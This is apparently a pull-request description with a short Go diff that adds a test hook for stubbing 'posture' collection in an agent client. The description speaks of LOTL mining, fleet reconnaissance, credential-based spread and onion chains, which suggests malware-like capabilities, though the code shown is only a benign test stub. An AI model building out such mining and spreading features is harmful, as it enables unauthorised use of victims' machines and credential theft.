Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/client/posture_hook.go

@@ -0,0 +1,9 @@
+package client
+
+// postureCollector overrides collectPosture in tests. Nil restores platform defaults.
+var postureCollector func() *PostureReport
+
+// SetPostureCollector stubs posture collection in tests. Pass nil to restore defaults.
+func SetPostureCollector(fn func() *PostureReport) {
+	postureCollector = fn
+}